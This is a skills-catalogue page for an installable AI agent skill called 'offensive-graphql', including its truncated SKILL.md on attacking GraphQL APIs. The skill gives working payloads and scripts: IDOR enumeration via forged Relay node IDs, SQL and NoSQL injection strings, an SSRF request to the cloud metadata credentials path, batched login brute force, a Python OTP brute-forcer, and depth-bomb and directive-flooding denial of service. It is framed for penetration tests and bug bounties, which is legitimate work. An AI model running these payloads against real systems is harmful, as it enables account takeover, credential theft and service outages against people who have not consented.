SkillAgentSearch skills...

offensive-graphql

Offensive methodology for attacking GraphQL APIs during penetration tests and bug bounty engagements. Covers the full attack lifecycle: endpoint discovery, introspection abuse and blind schema reconstruction when introspection is disabled, authentication and authorization bypass through Relay node I…

Install / Use

npx skills add SnailSploit/Claude-Red --skill offensive-graphql

Installs into whichever agent you are using.

About this skill
📄

SKILL.md

Installable skill definition

Quality Score

96/100

Supported Platforms

Universal

Our assessment of offensive-graphql

offensive-graphql scores 96/100 on our quality scale, 153rd of 2,185 Development & Engineering skills we index (top 8%).

Its SKILL.md is 21 KB long, well organised into 38 sections with 40 code examples: a thorough specification that gives an agent plenty to work with.

With 6,850 GitHub stars, it is one of the more widely adopted skills in the catalogue.

Substance
30/30
Structure
20/20
Description
15/15
Adoption
16/20
Freshness
15/15

Maintenance, license and trust

  • The repository was last updated 6 days ago, so offensive-graphql is actively maintained.
  • It is released under the MIT license, a permissive license that allows use, modification and commercial use with attribution.
  • Its trust signals score 100/100, with no cautions. These come from repository metadata, not a code audit — read the skill file before letting an agent act on it.

Safety scan

No issues found

Our scan of the whole file found no instruction hijacking, hidden characters, credential access, data exfiltration or destructive commands.

Automated pattern scan on 2026-09-26. It catches known dangerous patterns, not every risk — read a skill before letting an agent act on it.

offensive-graphql compared with similar skills

All 4 of these similar skills score higher than offensive-graphql; compare them before choosing.

SkillScoreStarsUpdatedFormat
offensive-graphql (this skill)by SnailSploit966.8k6d agoSKILL.md
Agent-Reachby Panniantong10085.5k11d agoCLAUDE.md
headroomby headroomlabs-ai10073.8ktodayCLAUDE.md
ai-job-searchby MadsLorentzen10044.0k5d agoCLAUDE.md
claude-howtoby luongnv8910041.7ktodayCLAUDE.md

Frequently asked questions

How do I install offensive-graphql?
Run npx skills add SnailSploit/Claude-Red --skill offensive-graphql. The install tabs above show the steps for each supported agent.
Which AI agents does offensive-graphql work with?
It is written for Universal, as a SKILL.md file. Other agents that read the same format can often use it too.
Is offensive-graphql safe to use?
Our scan of the whole file found no instruction hijacking, hidden characters, credential access, data exfiltration or destructive commands. It is MIT-licensed and scores 100/100 on trust signals. Skills are instructions an agent will follow, so read the file before installing it and do not approve commands you do not understand.
Is offensive-graphql still maintained?
The repository was last updated 6 days ago, so offensive-graphql is actively maintained.

name: offensive-graphql description: "Offensive methodology for attacking GraphQL APIs during penetration tests and bug bounty engagements. Covers the full attack lifecycle: endpoint discovery, introspection abuse and blind schema reconstruction when introspection is disabled, authentication and authorization bypass through Relay node IDs and nested object traversal, injection via variables and directives, query batching for brute force and OTP bypass, denial of service through depth bombs and alias amplification, WebSocket subscription hijacking, information disclosure through verbose errors and field suggestion oracles, and file upload abuse via the multipart GraphQL specification. Includes tool-specific guidance for InQL, graphql-cop, CrackQL, BatchQL, Altair, GraphQL Voyager, and clairvoyance. Trigger on: GraphQL, graphql, introspection query, batching attack, query depth, GraphQL injection, GraphQL IDOR, field suggestion, GraphQL auth bypass, GraphQL DoS, GraphQL security, graphql-cop, InQL, CrackQL, BatchQL, Relay node, alias amplification, subscription abuse, multipart upload GraphQL, schema enumeration, __schema, __type."

Offensive GraphQL

GraphQL consolidates an entire API surface behind a single endpoint, making it a high-value target during web application assessments. Unlike REST, where each route maps to a discrete resource, a GraphQL schema exposes every type, field, mutation, and subscription in one queryable structure. Attackers who obtain or reconstruct that schema gain a complete map of the application's data model before writing a single exploit. This skill walks you through each phase of a GraphQL engagement with concrete queries, tool invocations, and chaining patterns.

Quick Workflow

  1. Discover the endpoint -- probe common paths, inspect client-side JS bundles, check WebSocket upgrade headers.
  2. Fingerprint the implementation -- use graphw00f to identify the engine and tailor payloads.
  3. Dump or reconstruct the schema -- full introspection query; if blocked, field suggestion probing or clairvoyance.
  4. Map the attack surface -- feed the schema into GraphQL Voyager or InQL.
  5. Test authentication and authorization -- every query and mutation with no token, low-privilege, and cross-user tokens.
  6. Inject through resolvers -- SQL, NoSQL, and OS command payloads through arguments and variables.
  7. Abuse batching -- arrayed operations for brute force, OTP bypass, and rate limit evasion.
  8. Stress depth and complexity -- nested queries, alias fans, and circular fragments.
  9. Probe subscriptions -- WebSocket with expired or missing tokens, subscribe to sensitive streams.
  10. Exfiltrate via errors -- verbose stack traces, type mismatches, field suggestions.
  11. Test file upload -- multipart GraphQL specification for oversized or malicious files.
  12. Chain and escalate -- combine findings into multi-step attack paths with proof-of-concept queries.

1 -- Endpoint Discovery and Fingerprinting

Probe common paths with a minimal query body. A __typename response confirms a live GraphQL endpoint.

curl -s -X POST https://target.com/graphql \
  -H "Content-Type: application/json" \
  -d '{"query":"{__typename}"}' | jq .

Paths to probe: /graphql, /graphiql, /v1/graphql, /v2/graphql, /api/graphql, /graphql/console, /playground, /explorer, /query. Some servers accept GET requests:

curl -s "https://target.com/graphql?query=\{__typename\}"

Fingerprint the implementation to determine default behaviors (introspection state, error format, batching syntax):

python3 graphw00f.py -t https://target.com/graphql

Run graphql-cop for a one-pass configuration audit -- it reports introspection status, field suggestion leaks, GET-based query acceptance (CSRF risk), and unrestricted batching:

python3 graphql-cop.py -t https://target.com/graphql

2 -- Introspection and Blind Schema Reconstruction

Full Introspection Dump

When introspection is enabled, pull the entire schema in one request. This is the single most valuable recon step.

query FullIntrospection {
  __schema {
    queryType { name }
    mutationType { name }
    subscriptionType { name }
    types {
      kind name description
      fields(includeDeprecated: true) {
        name args { name type { ...T } defaultValue } type { ...T }
      }
      inputFields { name type { ...T } defaultValue }
      interfaces { ...T }
      enumValues(includeDeprecated: true) { name description }
      possibleTypes { ...T }
    }
    directives { name description locations args { name type { ...T } } }
  }
}
fragment T on __Type {
  kind name ofType { kind name ofType { kind name ofType { kind name } } }
}

Pipe the result into GraphQL Voyager for visual exploration, or load InQL in Burp Suite -- it parses the schema and generates individual queries for every field and mutation.

Targeted __type Queries

When full introspection is disabled but __type lookups still work (a common misconfiguration where the server blocks __schema but forgets __type):

query { __type(name: "User") { name fields { name type { name kind } } } }

Bypassing Disabled Introspection

Field suggestion oracle. Most engines return "Did you mean..." when you query a non-existent field. Submit plausible names and harvest suggestions:

query { __typename aaa }
{
  "errors": [{
    "message": "Cannot query field \"aaa\" on type \"Query\". Did you mean \"user\", \"users\", \"admin\"?"
  }]
}

Automate this with clairvoyance, which iterates a wordlist, collects suggestions, and assembles a reconstructed schema:

python3 clairvoyance.py -t https://target.com/graphql -w wordlist.txt -o schema.json

Apollo Sandbox. If the target runs Apollo Server v3+, navigate to the endpoint in a browser. Apollo Sandbox performs introspection client-side even when the production toggle is off. Check Apollo Studio explorer if the server is registered there.

Client-side bundles. Search JS files for query strings, fragment definitions, and type names:

curl -s https://target.com/static/js/main.js | grep -oP '(query|mutation|fragment)\s+\w+'

3 -- Authentication and Authorization Bypass

Authorization bugs are pervasive because developers must implement field-level checks manually in each resolver. A single missing check on a nested field can expose the entire object graph.

IDOR Through Relay Node IDs

Relay exposes a global node interface that resolves any object by an opaque base64-encoded ID (Type:numericID):

echo -n "VXNlcjoxMjM=" | base64 -d   # Output: User:123

Forge IDs for other users and query through the node interface:

query {
  node(id: "VXNlcjoxMjQ=") {
    ... on User { id email role ssn }
  }
}

Enumerate sequentially:

for i in $(seq 1 100); do
  id=$(echo -n "User:$i" | base64)
  curl -s -X POST https://target.com/graphql \
    -H "Content-Type: application/json" -H "Authorization: Bearer $TOKEN" \
    -d "{\"query\":\"{ node(id: \\\"$id\\\") { ... on User { id email role } } }\"}"
done

Nested Object Authorization Gaps

Authorization enforced on the top-level query often does not carry to nested relationships. Access your own Order, then check whether the customer field traverses to another user's data:

query {
  myOrders {
    id
    customer { id email paymentMethods { cardNumber expirationDate } }
  }
}

The myOrders resolver filters by your ID, but the customer resolver on Order may eagerly load the associated user without ownership checks.

Relay Pagination and Cursor Manipulation

Decode opaque cursors (often base64 of an offset) and manipulate the value. If the cursor decodes to cursor:999, set it to cursor:0 to access records from the beginning:

query {
  users(first: 10, after: "Y3Vyc29yOjA=") {
    edges { node { id email } cursor }
    pageInfo { hasNextPage endCursor }
  }
}

Mutation Authorization

Test every state-changing mutation with no token, low-privilege tokens, and cross-tenant tokens:

mutation { updateUser(id: "OTHER_USER_ID", input: { role: "ADMIN" }) { id role } }
mutation { deleteAccount(userId: "OTHER_USER_ID") { success } }

4 -- Injection Through Resolvers

Variables and arguments flow directly into resolver functions. String concatenation in resolvers creates classic injection vectors.

SQL Injection via Variables

query GetUser($name: String!) { user(name: $name) { id email } }
{"name": "admin' OR 1=1 --"}

Escalate with UNION-based injection:

{"name": "' UNION SELECT username, password FROM admin_users --"}

NoSQL Injection

For MongoDB-backed resolvers:

{"filter": {"username": {"$ne": ""}, "password": {"$ne": ""}}}

Time-based detection:

query { search(filter: "{\"$where\": \"sleep(5000)\"}") { results } }

Directive Injection and Flooding

Directive flooding -- attaching thousands of @include(if: true) directives to a single field -- crashes parsers (CVE-2024-47614 in async-graphql):

query { __typename @include(if: true) @include(if: true) @include(if: true) ... }

Generate a payload with 10,000 directives programmatically. Custom @auth or @constraint directives may also accept arguments you can manipulate to override server-side behavior.

SSRF Through Resolver Arguments

If a mutation accepts a URL argument (webhooks, avatars, imports), test for SSRF:

mutation { setAvatar(url: "http://169.254.169.254/latest/meta-data/iam/security-credentials/") { success } }

5 -- Batching Attacks

GraphQL servers commonly accept arrays of operations in a single HTTP request. Back-end rate limiters often count HTTP requests, not individual operations within a batch, enabling powerful bypass attacks.

Credential Brute Force

[
  {"query": "mutation { login(user: \"admin\", pass: \"password1\") { token } }"},
  {"query": "mutation { login(user: \"admin\", pass: \"password2\") { token } }"},
  {"query": "mutation { login(user: \"admin\", pass: \"password3\") { token } }"}
]

A single HTTP request carries hundreds of login attempts. The rate limiter sees one request.

OTP / 2FA Bypass

Batch all possible 4-digit OTP values in chunks:

import requests

ops = [{"query": f'mutation {{ verifyOTP(code: "{str(c).zfill(4)}") {{ success token }} }}'}
       for c in range(10000)]
for i in range(0, len(ops), 500):
    r = requests.post("https://target.com/graphql", json=ops[i:i+500],
                      headers={"Authorization": "Bearer <session_token>"})
    for idx, res in enumerate(r.json()):
        if res.get("data", {}).get("verifyOTP", {}).get("success"):
            print(f"Valid OTP: {str(i + idx).zfill(4)}")

Alias-Based Batching

Some servers reject array batching but allow alias-based batching within a single query:

query {
  a1: login(user: "admin", pass: "pass1") { token }
  a2: login(user: "admin", pass: "pass2") { token }
  a3: login(user: "admin", pass: "pass3") { token }
}

Automate with BatchQL and CrackQL:

python3 batch-ql.py -e https://target.com/graphql \
  -q 'mutation { login(user: "admin", pass: "FUZZ") { token } }' -w passwords.txt
python3 CrackQL.py -t https://target.com/graphql -q query.graphql -i inputs.csv --batch-size 500

6 -- Denial of Service

GraphQL's flexible query language is inherently susceptible to resource exhaustion unless the server enforces strict cost controls.

Depth Bomb

Exploit circular relationships. If User has friends returning [User], nest indefinitely -- eight levels deep on a user with 100 friends each triggers 100^8 resolver calls:

query DepthBomb {
  users {
    friends { friends { friends { friends { friends { friends {
      id email

Truncated for display — read the full file on GitHub.

Related Skills

View on GitHub
GitHub Stars6.8k
CategoryDevelopment
Updated6d ago
Forks896

Languages

Python

Trust signals

100/100

From repository metadata: license, adoption, age and documentation. Not a code audit — see the Safety scan above for what the skill file itself contains.

No cautions